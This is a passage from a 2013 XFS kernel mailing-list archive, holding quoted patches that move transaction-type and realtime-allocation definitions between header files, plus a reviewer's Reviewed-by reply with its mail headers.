"XFS_LI_ICREATE" } > + > +/* > + * Transaction types. Used to distinguish types of buffers. > + */ > +#define XFS_TRANS_SETATTR_NOT_SIZE 1 > +#define XFS_TRANS_SETATTR_SIZE 2 > +#define XFS_TRANS_INACTIVE 3 > +#define XFS_TRANS_CREATE 4 > +#define XFS_TRANS_CREATE_TRUNC 5 > +#define XFS_TRANS_TRUNCATE_FILE 6 > +#define XFS_TRANS_REMOVE 7 > +#define XFS_TRANS_LINK 8 > +#define XFS_TRANS_RENAME 9 > +#define XFS_TRANS_MKDIR 10 > +#define XFS_TRANS_RMDIR 11 > +#define XFS_TRANS_SYMLINK 12 > +#define XFS_TRANS_SET_DMATTRS 13 > +#define XFS_TRANS_GROWFS 14 > +#define XFS_TRANS_STRAT_WRITE 15 > +#define XFS_TRANS_DIOSTRAT 16 > +/* 17 was XFS_TRANS_WRITE_SYNC */ > +#define XFS_TRANS_WRITEID 18 > +#define XFS_TRANS_ADDAFORK 19 > +#define XFS_TRANS_ATTRINVAL 20 > +#define XFS_TRANS_ATRUNCATE 21 > +#define XFS_TRANS_ATTR_SET 22 > +#define XFS_TRANS_ATTR_RM 23 > +#define XFS_TRANS_ATTR_FLAG 24 > +#define XFS_TRANS_CLEAR_AGI_BUCKET 25 > +#define XFS_TRANS_QM_SBCHANGE 26 > +/* > + * Dummy entries since we use the transaction type to index into the > + * trans_type[] in xlog_recover_print_trans_head() > + */ > +#define XFS_TRANS_DUMMY1 27 > +#define XFS_TRANS_DUMMY2 28 > +#define XFS_TRANS_QM_QUOTAOFF 29 > +#define XFS_TRANS_QM_DQALLOC 30 > +#define XFS_TRANS_QM_SETQLIM 31 > +#define XFS_TRANS_QM_DQCLUSTER 32 > +#define XFS_TRANS_QM_QINOCREATE 33 > +#define XFS_TRANS_QM_QUOTAOFF_END 34 > +#define XFS_TRANS_SB_UNIT 35 > +#define XFS_TRANS_FSYNC_TS 36 > +#define XFS_TRANS_GROWFSRT_ALLOC 37 > +#define XFS_TRANS_GROWFSRT_ZERO 38 > +#define XFS_TRANS_GROWFSRT_FREE 39 > +#define XFS_TRANS_SWAPEXT 40 > +#define XFS_TRANS_SB_COUNT 41 > +#define XFS_TRANS_CHECKPOINT 42 > +#define XFS_TRANS_ICREATE 43 > +#define XFS_TRANS_TYPE_MAX 43 > +/* new transaction types need to be reflected in xfs_logprint(8) */ > + > +#define XFS_TRANS_TYPES \ > + { XFS_TRANS_SETATTR_NOT_SIZE, "SETATTR_NOT_SIZE" }, \ > + { XFS_TRANS_SETATTR_SIZE, "SETATTR_SIZE" }, \ > + { XFS_TRANS_INACTIVE, "INACTIVE" }, \ > + { XFS_TRANS_CREATE, "CREATE" }, \ > + { XFS_TRANS_CREATE_TRUNC, "CREATE_TRUNC" }, \ > + { XFS_TRANS_TRUNCATE_FILE, "TRUNCATE_FILE" }, \ > + { XFS_TRANS_REMOVE, "REMOVE" }, \ > + { XFS_TRANS_LINK, "LINK" }, \ > + { XFS_TRANS_RENAME, "RENAME" }, \ > + { XFS_TRANS_MKDIR, "MKDIR" }, \ > + { XFS_TRANS_RMDIR, "RMDIR" }, \ > + { XFS_TRANS_SYMLINK, "SYMLINK" }, \ > + { XFS_TRANS_SET_DMATTRS, "SET_DMATTRS" }, \ > + { XFS_TRANS_GROWFS, "GROWFS" }, \ > + { XFS_TRANS_STRAT_WRITE, "STRAT_WRITE" }, \ > + { XFS_TRANS_DIOSTRAT, "DIOSTRAT" }, \ > + { XFS_TRANS_WRITEID, "WRITEID" }, \ > + { XFS_TRANS_ADDAFORK, "ADDAFORK" }, \ > + { XFS_TRANS_ATTRINVAL, "ATTRINVAL" }, \ > + { XFS_TRANS_ATRUNCATE, "ATRUNCATE" }, \ > + { XFS_TRANS_ATTR_SET, "ATTR_SET" }, \ > + { XFS_TRANS_ATTR_RM, "ATTR_RM" }, \ > + { XFS_TRANS_ATTR_FLAG, "ATTR_FLAG" }, \ > + { XFS_TRANS_CLEAR_AGI_BUCKET, "CLEAR_AGI_BUCKET" }, \ > + { XFS_TRANS_QM_SBCHANGE, "QM_SBCHANGE" }, \ > + { XFS_TRANS_QM_QUOTAOFF, "QM_QUOTAOFF" }, \ > + { XFS_TRANS_QM_DQALLOC, "QM_DQALLOC" }, \ > + { XFS_TRANS_QM_SETQLIM, "QM_SETQLIM" }, \ > + { XFS_TRANS_QM_DQCLUSTER, "QM_DQCLUSTER" }, \ > + { XFS_TRANS_QM_QINOCREATE, "QM_QINOCREATE" }, \ > + { XFS_TRANS_QM_QUOTAOFF_END, "QM_QOFF_END" }, \ > + { XFS_TRANS_SB_UNIT, "SB_UNIT" }, \ > + { XFS_TRANS_FSYNC_TS, "FSYNC_TS" }, \ > + { XFS_TRANS_GROWFSRT_ALLOC, "GROWFSRT_ALLOC" }, \ > + { XFS_TRANS_GROWFSRT_ZERO, "GROWFSRT_ZERO" }, \ > + { XFS_TRANS_GROWFSRT_FREE, "GROWFSRT_FREE" }, \ > + { XFS_TRANS_SWAPEXT, "SWAPEXT" }, \ > + { XFS_TRANS_SB_COUNT, "SB_COUNT" }, \ > + { XFS_TRANS_CHECKPOINT, "CHECKPOINT" }, \ > + { XFS_TRANS_DUMMY1, "DUMMY1" }, \ > + { XFS_TRANS_DUMMY2, "DUMMY2" }, \ > + { XLOG_UNMOUNT_REC_TYPE, "UNMOUNT" } > + > +/* > + * This structure is used to track log items associated with > + * a transaction. It points to the log item and keeps some > + * flags to track the state of the log item. It also tracks > + * the amount of space needed to log the item it describes > + * once we get to commit processing (see xfs_trans_commit()). > + */ > +struct xfs_log_item_desc { > + struct xfs_log_item *lid_item; > + struct list_head lid_trans; > + unsigned char lid_flags; > +}; > + > +#define XFS_LID_DIRTY 0x1 > + > +/* > + * Values for t_flags. > + */ > +#define XFS_TRANS_DIRTY 0x01 /* something needs to be logged */ > +#define XFS_TRANS_SB_DIRTY 0x02 /* superblock is modified */ > +#define XFS_TRANS_PERM_LOG_RES 0x04 /* xact took a permanent log res */ > +#define XFS_TRANS_SYNC 0x08 /* make commit synchronous */ > +#define XFS_TRANS_DQ_DIRTY 0x10 /* at least one dquot in trx dirty */ > +#define XFS_TRANS_RESERVE 0x20 /* OK to use reserved data blocks */ > +#define XFS_TRANS_FREEZE_PROT 0x40 /* Transaction has elevated writer > + count in superblock */ > + > +/* > + * Values for call flags parameter. > + */ > +#define XFS_TRANS_RELEASE_LOG_RES 0x4 > +#define XFS_TRANS_ABORT 0x8 > + > +/* > + * Field values for xfs_trans_mod_sb. > + */ > +#define XFS_TRANS_SB_ICOUNT 0x00000001 > +#define XFS_TRANS_SB_IFREE 0x00000002 > +#define XFS_TRANS_SB_FDBLOCKS 0x00000004 > +#define XFS_TRANS_SB_RES_FDBLOCKS 0x00000008 > +#define XFS_TRANS_SB_FREXTENTS 0x00000010 > +#define XFS_TRANS_SB_RES_FREXTENTS 0x00000020 > +#define XFS_TRANS_SB_DBLOCKS 0x00000040 > +#define XFS_TRANS_SB_AGCOUNT 0x00000080 > +#define XFS_TRANS_SB_IMAXPCT 0x00000100 > +#define XFS_TRANS_SB_REXTSIZE 0x00000200 > +#define XFS_TRANS_SB_RBMBLOCKS 0x00000400 > +#define XFS_TRANS_SB_RBLOCKS 0x00000800 > +#define XFS_TRANS_SB_REXTENTS 0x00001000 > +#define XFS_TRANS_SB_REXTSLOG 0x00002000 > + > +/* > + * Here we centralize the specification of XFS meta-data buffer > + * reference count values. This determine how hard the buffer > + * cache tries to hold onto the buffer. > + */ > +#define XFS_AGF_REF 4 > +#define XFS_AGI_REF 4 > +#define XFS_AGFL_REF 3 > +#define XFS_INO_BTREE_REF 3 > +#define XFS_ALLOC_BTREE_REF 2 > +#define XFS_BMAP_BTREE_REF 2 > +#define XFS_DIR_BTREE_REF 2 > +#define XFS_INO_REF 2 > +#define XFS_ATTR_BTREE_REF 1 > +#define XFS_DQUOT_REF 1 > + > +/* > * Inode Log Item Format definitions. > * > * This is the structure used to lay out an inode log item in the > diff --git a/fs/xfs/xfs_trans.c b/fs/xfs/xfs_trans.c > index 1d2a061..9b70df3 100644 > --- a/fs/xfs/xfs_trans.c > +++ b/fs/xfs/xfs_trans.c > @@ -744,7 +744,7 @@ _xfs_trans_alloc( > atomic_inc(&mp->m_active_trans); > > tp = kmem_zone_zalloc(xfs_trans_zone, memflags); > - tp->t_magic = XFS_TRANS_MAGIC; > + tp->t_magic = XFS_TRANS_HEADER_MAGIC; > tp->t_type = type; > tp->t_mountp = mp; > INIT_LIST_HEAD(&tp->t_items); > @@ -789,7 +789,7 @@ xfs_trans_dup( > /* > * Initialize the new transaction structure. > */ > - ntp->t_magic = XFS_TRANS_MAGIC; > + ntp->t_magic = XFS_TRANS_HEADER_MAGIC; > ntp->t_type = tp->t_type; > ntp->t_mountp = tp->t_mountp; > INIT_LIST_HEAD(&ntp->t_items); > diff --git a/fs/xfs/xfs_trans.h b/fs/xfs/xfs_trans.h > index 2b49463..ffaa584 100644 > --- a/fs/xfs/xfs_trans.h > +++ b/fs/xfs/xfs_trans.h > @@ -21,195 +21,6 @@ > struct xfs_log_item; > > /* > - * This is the structure written in the log at the head of > - * every transaction. It identifies the type and id of the > - * transaction, and contains the number of items logged by > - * the transaction so we know how many to expect during recovery. > - * > - * Do not change the below structure without redoing the code in > - * xlog_recover_add_to_trans() and xlog_recover_add_to_cont_trans(). > - */ > -typedef struct xfs_trans_header { > - uint th_magic; /* magic number */ > - uint th_type; /* transaction type */ > - __int32_t th_tid; /* transaction id (unused) */ > - uint th_num_items; /* num items logged by trans */ > -} xfs_trans_header_t; > - > -#define XFS_TRANS_HEADER_MAGIC 0x5452414e /* TRAN */ > - > -/* > - * Log item types. > - */ > -#define XFS_LI_EFI 0x1236 > -#define XFS_LI_EFD 0x1237 > -#define XFS_LI_IUNLINK 0x1238 > -#define XFS_LI_INODE 0x123b /* aligned ino chunks, var-size ibufs */ > -#define XFS_LI_BUF 0x123c /* v2 bufs, variable sized inode bufs */ > -#define XFS_LI_DQUOT 0x123d > -#define XFS_LI_QUOTAOFF 0x123e > -#define XFS_LI_ICREATE 0x123f > - > -#define XFS_LI_TYPE_DESC \ > - { XFS_LI_EFI, "XFS_LI_EFI" }, \ > - { XFS_LI_EFD, "XFS_LI_EFD" }, \ > - { XFS_LI_IUNLINK, "XFS_LI_IUNLINK" }, \ > - { XFS_LI_INODE, "XFS_LI_INODE" }, \ > - { XFS_LI_BUF, "XFS_LI_BUF" }, \ > - { XFS_LI_DQUOT, "XFS_LI_DQUOT" }, \ > - { XFS_LI_QUOTAOFF, "XFS_LI_QUOTAOFF" } > - > -/* > - * Transaction types. Used to distinguish types of buffers. > - */ > -#define XFS_TRANS_SETATTR_NOT_SIZE 1 > -#define XFS_TRANS_SETATTR_SIZE 2 > -#define XFS_TRANS_INACTIVE 3 > -#define XFS_TRANS_CREATE 4 > -#define XFS_TRANS_CREATE_TRUNC 5 > -#define XFS_TRANS_TRUNCATE_FILE 6 > -#define XFS_TRANS_REMOVE 7 > -#define XFS_TRANS_LINK 8 > -#define XFS_TRANS_RENAME 9 > -#define XFS_TRANS_MKDIR 10 > -#define XFS_TRANS_RMDIR 11 > -#define XFS_TRANS_SYMLINK 12 > -#define XFS_TRANS_SET_DMATTRS 13 > -#define XFS_TRANS_GROWFS 14 > -#define XFS_TRANS_STRAT_WRITE 15 > -#define XFS_TRANS_DIOSTRAT 16 > -/* 17 was XFS_TRANS_WRITE_SYNC */ > -#define XFS_TRANS_WRITEID 18 > -#define XFS_TRANS_ADDAFORK 19 > -#define XFS_TRANS_ATTRINVAL 20 > -#define XFS_TRANS_ATRUNCATE 21 > -#define XFS_TRANS_ATTR_SET 22 > -#define XFS_TRANS_ATTR_RM 23 > -#define XFS_TRANS_ATTR_FLAG 24 > -#define XFS_TRANS_CLEAR_AGI_BUCKET 25 > -#define XFS_TRANS_QM_SBCHANGE 26 > -/* > - * Dummy entries since we use the transaction type to index into the > - * trans_type[] in xlog_recover_print_trans_head() > - */ > -#define XFS_TRANS_DUMMY1 27 > -#define XFS_TRANS_DUMMY2 28 > -#define XFS_TRANS_QM_QUOTAOFF 29 > -#define XFS_TRANS_QM_DQALLOC 30 > -#define XFS_TRANS_QM_SETQLIM 31 > -#define XFS_TRANS_QM_DQCLUSTER 32 > -#define XFS_TRANS_QM_QINOCREATE 33 > -#define XFS_TRANS_QM_QUOTAOFF_END 34 > -#define XFS_TRANS_SB_UNIT 35 > -#define XFS_TRANS_FSYNC_TS 36 > -#define XFS_TRANS_GROWFSRT_ALLOC 37 > -#define XFS_TRANS_GROWFSRT_ZERO 38 > -#define XFS_TRANS_GROWFSRT_FREE 39 > -#define XFS_TRANS_SWAPEXT 40 > -#define XFS_TRANS_SB_COUNT 41 > -#define XFS_TRANS_CHECKPOINT 42 > -#define XFS_TRANS_ICREATE 43 > -#define XFS_TRANS_TYPE_MAX 43 > -/* new transaction types need to be reflected in xfs_logprint(8) */ > - > -#define XFS_TRANS_TYPES \ > - { XFS_TRANS_SETATTR_NOT_SIZE, "SETATTR_NOT_SIZE" }, \ > - { XFS_TRANS_SETATTR_SIZE, "SETATTR_SIZE" }, \ > - { XFS_TRANS_INACTIVE, "INACTIVE" }, \ > - { XFS_TRANS_CREATE, "CREATE" }, \ > - { XFS_TRANS_CREATE_TRUNC, "CREATE_TRUNC" }, \ > - { XFS_TRANS_TRUNCATE_FILE, "TRUNCATE_FILE" }, \ > - { XFS_TRANS_REMOVE, "REMOVE" }, \ > - { XFS_TRANS_LINK, "LINK" }, \ > - { XFS_TRANS_RENAME, "RENAME" }, \ > - { XFS_TRANS_MKDIR, "MKDIR" }, \ > - { XFS_TRANS_RMDIR, "RMDIR" }, \ > - { XFS_TRANS_SYMLINK, "SYMLINK" }, \ > - { XFS_TRANS_SET_DMATTRS, "SET_DMATTRS" }, \ > - { XFS_TRANS_GROWFS, "GROWFS" }, \ > - { XFS_TRANS_STRAT_WRITE, "STRAT_WRITE" }, \ > - { XFS_TRANS_DIOSTRAT, "DIOSTRAT" }, \ > - { XFS_TRANS_WRITEID, "WRITEID" }, \ > - { XFS_TRANS_ADDAFORK, "ADDAFORK" }, \ > - { XFS_TRANS_ATTRINVAL, "ATTRINVAL" }, \ > - { XFS_TRANS_ATRUNCATE, "ATRUNCATE" }, \ > - { XFS_TRANS_ATTR_SET, "ATTR_SET" }, \ > - { XFS_TRANS_ATTR_RM, "ATTR_RM" }, \ > - { XFS_TRANS_ATTR_FLAG, "ATTR_FLAG" }, \ > - { XFS_TRANS_CLEAR_AGI_BUCKET, "CLEAR_AGI_BUCKET" }, \ > - { XFS_TRANS_QM_SBCHANGE, "QM_SBCHANGE" }, \ > - { XFS_TRANS_QM_QUOTAOFF, "QM_QUOTAOFF" }, \ > - { XFS_TRANS_QM_DQALLOC, "QM_DQALLOC" }, \ > - { XFS_TRANS_QM_SETQLIM, "QM_SETQLIM" }, \ > - { XFS_TRANS_QM_DQCLUSTER, "QM_DQCLUSTER" }, \ > - { XFS_TRANS_QM_QINOCREATE, "QM_QINOCREATE" }, \ > - { XFS_TRANS_QM_QUOTAOFF_END, "QM_QOFF_END" }, \ > - { XFS_TRANS_SB_UNIT, "SB_UNIT" }, \ > - { XFS_TRANS_FSYNC_TS, "FSYNC_TS" }, \ > - { XFS_TRANS_GROWFSRT_ALLOC, "GROWFSRT_ALLOC" }, \ > - { XFS_TRANS_GROWFSRT_ZERO, "GROWFSRT_ZERO" }, \ > - { XFS_TRANS_GROWFSRT_FREE, "GROWFSRT_FREE" }, \ > - { XFS_TRANS_SWAPEXT, "SWAPEXT" }, \ > - { XFS_TRANS_SB_COUNT, "SB_COUNT" }, \ > - { XFS_TRANS_CHECKPOINT, "CHECKPOINT" }, \ > - { XFS_TRANS_DUMMY1, "DUMMY1" }, \ > - { XFS_TRANS_DUMMY2, "DUMMY2" }, \ > - { XLOG_UNMOUNT_REC_TYPE, "UNMOUNT" } > - > -/* > - * This structure is used to track log items associated with > - * a transaction. It points to the log item and keeps some > - * flags to track the state of the log item. It also tracks > - * the amount of space needed to log the item it describes > - * once we get to commit processing (see xfs_trans_commit()). > - */ > -struct xfs_log_item_desc { > - struct xfs_log_item *lid_item; > - struct list_head lid_trans; > - unsigned char lid_flags; > -}; > - > -#define XFS_LID_DIRTY 0x1 > - > -#define XFS_TRANS_MAGIC 0x5452414E /* 'TRAN' */ > -/* > - * Values for t_flags. > - */ > -#define XFS_TRANS_DIRTY 0x01 /* something needs to be logged */ > -#define XFS_TRANS_SB_DIRTY 0x02 /* superblock is modified */ > -#define XFS_TRANS_PERM_LOG_RES 0x04 /* xact took a permanent log res */ > -#define XFS_TRANS_SYNC 0x08 /* make commit synchronous */ > -#define XFS_TRANS_DQ_DIRTY 0x10 /* at least one dquot in trx dirty */ > -#define XFS_TRANS_RESERVE 0x20 /* OK to use reserved data blocks */ > -#define XFS_TRANS_FREEZE_PROT 0x40 /* Transaction has elevated writer > - count in superblock */ > - > -/* > - * Values for call flags parameter. > - */ > -#define XFS_TRANS_RELEASE_LOG_RES 0x4 > -#define XFS_TRANS_ABORT 0x8 > - > -/* > - * Field values for xfs_trans_mod_sb. > - */ > -#define XFS_TRANS_SB_ICOUNT 0x00000001 > -#define XFS_TRANS_SB_IFREE 0x00000002 > -#define XFS_TRANS_SB_FDBLOCKS 0x00000004 > -#define XFS_TRANS_SB_RES_FDBLOCKS 0x00000008 > -#define XFS_TRANS_SB_FREXTENTS 0x00000010 > -#define XFS_TRANS_SB_RES_FREXTENTS 0x00000020 > -#define XFS_TRANS_SB_DBLOCKS 0x00000040 > -#define XFS_TRANS_SB_AGCOUNT 0x00000080 > -#define XFS_TRANS_SB_IMAXPCT 0x00000100 > -#define XFS_TRANS_SB_REXTSIZE 0x00000200 > -#define XFS_TRANS_SB_RBMBLOCKS 0x00000400 > -#define XFS_TRANS_SB_RBLOCKS 0x00000800 > -#define XFS_TRANS_SB_REXTENTS 0x00001000 > -#define XFS_TRANS_SB_REXTSLOG 0x00002000 > - > - > -/* > * Per-extent log reservation for the allocation btree changes > * involved in freeing or allocating an extent. > * 2 trees * (2 blocks/level * max depth - 1) > @@ -282,22 +93,6 @@ struct xfs_log_item_desc { > #define XFS_ATTRSET_LOG_COUNT 3 > #define XFS_ATTRRM_LOG_COUNT 3 > > -/* > - * Here we centralize the specification of XFS meta-data buffer > - * reference count values. This determine how hard the buffer > - * cache tries to hold onto the buffer. > - */ > -#define XFS_AGF_REF 4 > -#define XFS_AGI_REF 4 > -#define XFS_AGFL_REF 3 > -#define XFS_INO_BTREE_REF 3 > -#define XFS_ALLOC_BTREE_REF 2 > -#define XFS_BMAP_BTREE_REF 2 > -#define XFS_DIR_BTREE_REF 2 > -#define XFS_INO_REF 2 > -#define XFS_ATTR_BTREE_REF 1 > -#define XFS_DQUOT_REF 1 > - > #ifdef __KERNEL__ > > struct xfs_buf; > From bfoster@redhat.com Wed Jul 24 07:13:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1C2D17F89 for ; Wed, 24 Jul 2013 07:13:16 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0DDA58F8040 for ; Wed, 24 Jul 2013 05:13:15 -0700 (PDT) X-ASG-Debug-ID: 1374667995-04cbb046911356940001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id jZthRt72L60mKvPZ for ; Wed, 24 Jul 2013 05:13:15 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6OCDEij008519 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 24 Jul 2013 08:13:14 -0400 Received: from laptop.bfoster (vpn-59-178.rdu2.redhat.com [10.10.59.178]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r6OCDDlU003225 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 24 Jul 2013 08:13:13 -0400 Message-ID: <51EFC417.3020707@redhat.com> Date: Wed, 24 Jul 2013 08:09:59 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 08/49] xfs: introduce xfs_rtalloc_defs.h References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-9-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 08/49] xfs: introduce xfs_rtalloc_defs.h In-Reply-To: <1374215120-7271-9-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1374667995 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 07/19/2013 02:24 AM, Dave Chinner wrote: > From: Dave Chinner > > There are quite a few realtime device definitions shared with > userspace. Move them from xfs_rtalloc.h to xfs_rt_alloc_defs.h > so we don't need to share xfs_rtalloc.h with userspace anymore. > > This removes the final __KERNEL__ region from the XFS kernel > codebase. Yay! > > Signed-off-by: Dave Chinner > --- Reviewed-by: Brian Foster > fs/xfs/xfs_format.h | 41 ++++++++++++++++++++++++++++++++++++++++ > fs/xfs/xfs_rtalloc.c | 2 +- > fs/xfs/xfs_rtalloc.h | 53 ++-------------------------------------------------- > fs/xfs/xfs_types.h | 10 ++++++++++ > 4 files changed, 54 insertions(+), 52 deletions(-) > > diff --git a/fs/xfs/xfs_format.h b/fs/xfs/xfs_format.h > index 2b4f166..6205374 100644 > --- a/fs/xfs/xfs_format.h > +++ b/fs/xfs/xfs_format.h > @@ -28,6 +28,47 @@ > */ > > /* > + * RealTime Device format definitions > + */ > + > +/* Min and max rt extent sizes, specified in bytes */ > +#define XFS_MAX_RTEXTSIZE (1024 * 1024 * 1024) /* 1GB */ > +#define XFS_DFL_RTEXTSIZE (64 * 1024) /* 64kB */ > +#define XFS_MIN_RTEXTSIZE (4 * 1024) /* 4kB */ > + > +#define XFS_BLOCKSIZE(mp) ((mp)->m_sb.sb_blocksize) > +#define XFS_BLOCKMASK(mp) ((mp)->m_blockmask) > +#define XFS_BLOCKWSIZE(mp) ((mp)->m_blockwsize) > +#define XFS_BLOCKWMASK(mp) ((mp)->m_blockwmask) > + > +/* > + * RT Summary and bit manipulation macros. > + */ > +#define XFS_SUMOFFS(mp,ls,bb) ((int)((ls) * (mp)->m_sb.sb_rbmblocks + (bb))) > +#define XFS_SUMOFFSTOBLOCK(mp,s) \ > + (((s) * (uint)sizeof(xfs_suminfo_t)) >> (mp)->m_sb.sb_blocklog) > +#define XFS_SUMPTR(mp,bp,so) \ > + ((xfs_suminfo_t *)((bp)->b_addr + \ > + (((so) * (uint)sizeof(xfs_suminfo_t)) & XFS_BLOCKMASK(mp)))) > + > +#define XFS_BITTOBLOCK(mp,bi) ((bi) >> (mp)->m_blkbit_log) > +#define XFS_BLOCKTOBIT(mp,bb) ((bb) << (mp)->m_blkbit_log) > +#define XFS_BITTOWORD(mp,bi) \ > + ((int)(((bi) >> XFS_NBWORDLOG) & XFS_BLOCKWMASK(mp))) > + > +#define XFS_RTMIN(a,b) ((a) < (b) ? (a) : (b)) > +#define XFS_RTMAX(a,b) ((a) > (b) ? (a) : (b)) > + > +#define XFS_RTLOBIT(w) xfs_lowbit32(w) > +#define XFS_RTHIBIT(w) xfs_highbit32(w) > + > +#if XFS_BIG_BLKNOS > +#define XFS_RTBLOCKLOG(b) xfs_highbit64(b) > +#else > +#define XFS_RTBLOCKLOG(b) xfs_highbit32(b) > +#endif > + > +/* > * Dquot and dquot block format definitions > */ > #define XFS_DQUOT_MAGIC 0x4451 /* 'DQ' */ > diff --git a/fs/xfs/xfs_rtalloc.c b/fs/xfs/xfs_rtalloc.c > index 98dc670..5d900ec 100644 > --- a/fs/xfs/xfs_rtalloc.c > +++ b/fs/xfs/xfs_rtalloc.c > @@ -17,7 +17,7 @@ > */ > #include "xfs.h" > #include "xfs_fs.h" > -#include "xfs_types.h" > +#include "xfs_format.h" > #include "xfs_bit.h" > #include "xfs_log.h" > #include "xfs_trans.h" > diff --git a/fs/xfs/xfs_rtalloc.h b/fs/xfs/xfs_rtalloc.h > index f7f3a35..b2a1a24 100644 > --- a/fs/xfs/xfs_rtalloc.h > +++ b/fs/xfs/xfs_rtalloc.h > @@ -18,58 +18,11 @@ > #ifndef __XFS_RTALLOC_H__ > #define __XFS_RTALLOC_H__ > > +/* kernel only definitions and functions */ > + > struct xfs_mount; > struct xfs_trans; > > -/* Min and max rt extent sizes, specified in bytes */ > -#define XFS_MAX_RTEXTSIZE (1024 * 1024 * 1024) /* 1GB */ > -#define XFS_DFL_RTEXTSIZE (64 * 1024) /* 64kB */ > -#define XFS_MIN_RTEXTSIZE (4 * 1024) /* 4kB */ > - > -/* > - * Constants for bit manipulations. > - */ > -#define XFS_NBBYLOG 3 /* log2(NBBY) */ > -#define XFS_WORDLOG 2 /* log2(sizeof(xfs_rtword_t)) */ > -#define XFS_NBWORDLOG (XFS_NBBYLOG + XFS_WORDLOG) > -#define XFS_NBWORD (1 << XFS_NBWORDLOG) > -#define XFS_WORDMASK ((1 << XFS_WORDLOG) - 1) > - > -#define XFS_BLOCKSIZE(mp) ((mp)->m_sb.sb_blocksize) > -#define XFS_BLOCKMASK(mp) ((mp)->m_blockmask) > -#define XFS_BLOCKWSIZE(mp) ((mp)->m_blockwsize) > -#define XFS_BLOCKWMASK(mp) ((mp)->m_blockwmask) > - > -/* > - * Summary and bit manipulation macros. > - */ > -#define XFS_SUMOFFS(mp,ls,bb) ((int)((ls) * (mp)->m_sb.sb_rbmblocks + (bb))) > -#define XFS_SUMOFFSTOBLOCK(mp,s) \ > - (((s) * (uint)sizeof(xfs_suminfo_t)) >> (mp)->m_sb.sb_blocklog) > -#define XFS_SUMPTR(mp,bp,so) \ > - ((xfs_suminfo_t *)((bp)->b_addr + \ > - (((so) * (uint)sizeof(xfs_suminfo_t)) & XFS_BLOCKMASK(mp)))) > - > -#define XFS_BITTOBLOCK(mp,bi) ((bi) >> (mp)->m_blkbit_log) > -#define XFS_BLOCKTOBIT(mp,bb) ((bb) << (mp)->m_blkbit_log) > -#define XFS_BITTOWORD(mp,bi) \ > - ((int)(((bi) >> XFS_NBWORDLOG) & XFS_BLOCKWMASK(mp))) > - > -#define XFS_RTMIN(a,b) ((a) < (b) ? (a) : (b)) > -#define XFS_RTMAX(a,b) ((a) > (b) ? (a) : (b)) > - > -#define XFS_RTLOBIT(w) xfs_lowbit32(w) > -#define XFS_RTHIBIT(w) xfs_highbit32(w) > - > -#if XFS_BIG_BLKNOS > -#define XFS_RTBLOCKLOG(b) xfs_highbit64(b) > -#else > -#define XFS_RTBLOCKLOG(b) xfs_highbit32(b) > -#endif > - > - > -#ifdef __KERNEL__ > - > #ifdef CONFIG_XFS_RT > /* > * Function prototypes for exported functions. > @@ -161,6 +114,4 @@ xfs_rtmount_init( > # define xfs_rtunmount_inodes(m) > #endif /* CONFIG_XFS_RT */ > > -#endif /* __KERNEL__ */ > - > #endif /* __XFS_RTALLOC_H__ */ > diff --git a/fs/xfs/xfs_types.h b/fs/xfs/xfs_types.h > index 69074ac..781772c 100644 > --- a/fs/xfs/xfs_types.h > +++ b/fs/xfs/xfs_types.h > @@ -183,4 +183,14 @@ struct xfs_name { > */ > typedef __uint32_t xfs_dqid_t; > > +/* > + * Constants for bit manipulations. > + */ > +#define XFS_NBBYLOG 3 /* log2(NBBY) */ > +#define XFS_WORDLOG 2 /* log2(sizeof(xfs_rtword_t)) */ > +#define XFS_NBWORDLOG (XFS_NBBYLOG + XFS_WORDLOG) > +#define XFS_NBWORD (1 << XFS_NBWORDLOG) > +#define XFS_WORDMASK ((1 << XFS_WORDLOG) - 1) > + > + > #endif /* __XFS_TYPES_H__ */ > From bfoster@redhat.com Wed Jul 24 07:39:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CFF237F78 for ; Wed, 24 Jul 2013 07:39:33 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id AE7FC8F8035 for ; Wed, 24 Jul 2013 05:39:33 -0700 (PDT) X-ASG-Debug-ID: 1374669572-04cb6c2a4210b01a0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id SUKr48wGEX5iMdKg for ; Wed, 24 